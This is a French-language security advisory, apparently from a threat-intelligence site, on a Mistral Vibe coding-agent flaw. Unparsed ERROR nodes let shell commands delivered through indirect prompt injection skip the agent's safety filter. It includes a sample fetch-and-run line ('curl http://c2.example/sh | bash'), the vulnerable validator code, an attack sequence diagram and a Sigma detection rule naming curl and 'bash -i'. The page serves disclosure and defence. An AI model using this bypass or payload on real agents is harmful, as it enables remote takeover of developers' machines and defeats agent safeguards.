Aller au contenu

CVE-2026-87986 : injection de commande via contournement des nœuds d'erreur syntaxique dans Mistral vibe

HERMES

SCORE DE MENACE HERMES & EXÉCUTION ARBITRAIRE PAR DIFFÉRENTIEL DE PARSER

Cible : Mistral Vibe Coding Agent (mistral-vibe)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v4.0 attribue à la CVE-2026-87986 la note maximale de 10.0 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). Le score de menace Hermes évalue la vulnérabilité à 98 (CRITIQUE). Cette criticité découle d'un différentiel de grammaire où des syntaxes complexes générant des nœuds ERROR dans l'AST sont ignorées par le filtre de sécurité mais fidèlement exécutées par Bash.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-87986: Mistral Vibe Command Injection via Parser Syntax Error Node BypassVULNÉRABILITÉ

Nœuds connectés : 4
Relations sortantes actives
→ affectsCOMPOSANTMistral Vibe Coding Agent
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-002.”

Preuves vérifiées associées :
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-003.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-001: Direct System Prompt Override
92% VERY_HIGH

Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-001.”

Preuves vérifiées associées :

1. Contexte technique & matrice des versions affectées

Section intitulée « 1. Contexte technique & matrice des versions affectées »
ParamètreSpécification TechniqueContexte Threat Intelligence
Identifiant CVECVE-2026-87986Découvert par Esteban Tonglet (HiddenLayer)
Faiblesse CWECWE-228 (Gestion syntaxique défaillante), CWE-78 (Injection de commande)Omission des nœuds d’erreur AST lors du contrôle de sécurité
Vecteur d’attaqueInjection indirecte de prompt (AAP-002) / AAP-003Dépôts tiers, pull requests malveillantes, issues
Composant vulnérableMoteur de parcours AST de Mistral VibeOmet les sous-arbres issus de nœuds ERROR
Versions affectéesmistral-vibe < 1.1.0Toutes configurations par défaut
Version corrigéevibe >= 1.1.0Refus systématique (fail-closed) dès détection d’un nœud ERROR
Impact systémiqueExécution de code à distance avec les droits du développeurEffondrement complet de la frontière de sécurité de l’agent

2. Décomposition technique approfondie & cause racine

Section intitulée « 2. Décomposition technique approfondie & cause racine »

A. Le différentiel entre parsers (tree-sitter vs. bash)

Section intitulée « A. Le différentiel entre parsers (tree-sitter vs. bash) »

Les grammaires formelles statiques comme tree-sitter-bash ne couvrent pas l’intégralité des particularités de Bash. En présence d’une séquence inattendue, le parseur entre en mode de récupération d’erreur et génère un nœud ERROR :

program
├── command: "echo"
│ └── argument: "hello"
└── ERROR <--- tree-sitter-bash échoue à typer proprement la structure
└── [commande shell malveillante encapsulée : $(curl http://c2.example/sh | bash)]

Dans les versions antérieures à 1.1.0, Vibe parcourait l’AST en ne filtrant que les types connus :

# Logique vulnérable dans Mistral Vibe (< 1.1.0)
def inspect_ast_node(node):
if node.type == "command":
check_command_allowed(node)
elif node.type in ("word", "string"):
check_path_arguments(node)
# ANOMALIE : Si node.type == "ERROR", le filtre ne bloque pas !
# Le validateur saute le nœud et auto-approuve la commande parente !

Faute d’une politique « fail-closed », la présence d’un nœud ERROR n’interrompait pas l’évaluation. Vibe n’identifiait que la commande inoffensive contiguë (echo hello), la validait comme sûre, et transmettait la chaîne brute à Bash.


sequenceDiagram
autonumber
actor Attaquant as Auteur du Dépôt Malveillant
participant Agent as Agent Mistral Vibe
participant TS as Parseur tree-sitter-bash
participant Filtre as Filtre de Sécurité Vibe
participant Shell as Interpréteur Bash
Attaquant->>Agent: Injection indirecte avec syntaxe anormale (AAP-002)
Agent->>TS: Analyse syntaxique de la commande complexe
TS-->>Filtre: Émet un AST avec nœud 'ERROR' pour le segment malveillant
Filtre->>Filtre: Ignore le contenu du nœud 'ERROR'
Note over Filtre: Commande reconnue : 'echo' (SÛR). AUTO-APPROUVÉ !
Filtre->>Shell: Transmet la commande brute
Shell->>Shell: Bash évalue la syntaxe et exécute le sous-shell malveillant
Shell->>Attaquant: Prise de contrôle à distance du poste !

title: RCE Mistral Vibe via Nœud d Erreur Syntaxique de Parser
id: 87986001-vibe-parser-error-rce-fr
status: experimental
description: Détecte des structures de commandes atypiques exploitant des différentiels de grammaire sous un processus Mistral Vibe.
references:
- https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
category: process_creation
product: linux
detection:
selection_vibe:
CommandLine|contains: 'vibe'
selection_anomaly:
CommandLine|re: '\{\s*\(\s*[:;].*id|whoami|curl|bash\s+-i'
condition: selection_vibe and selection_anomaly
level: critical

  1. Mise à jour immédiate : installer vibe >= 1.1.0. Tout arbre contenant un nœud ERROR déclenche impérativement une demande de confirmation explicite à l’utilisateur.
  2. Politique fail-closed : toute anomalie d’analyse syntaxique dans un système agentique doit être traitée comme hostile par défaut.
  3. Sandbox conteneurisée : confinement de l’agent dans un conteneur rootless gVisor ou Docker.
  4. Protections AgentThreat Studio : activer les contrôles de frontière de contexte (AgentThreat Studio) contre AAP-001 : Violation des frontières de contexte.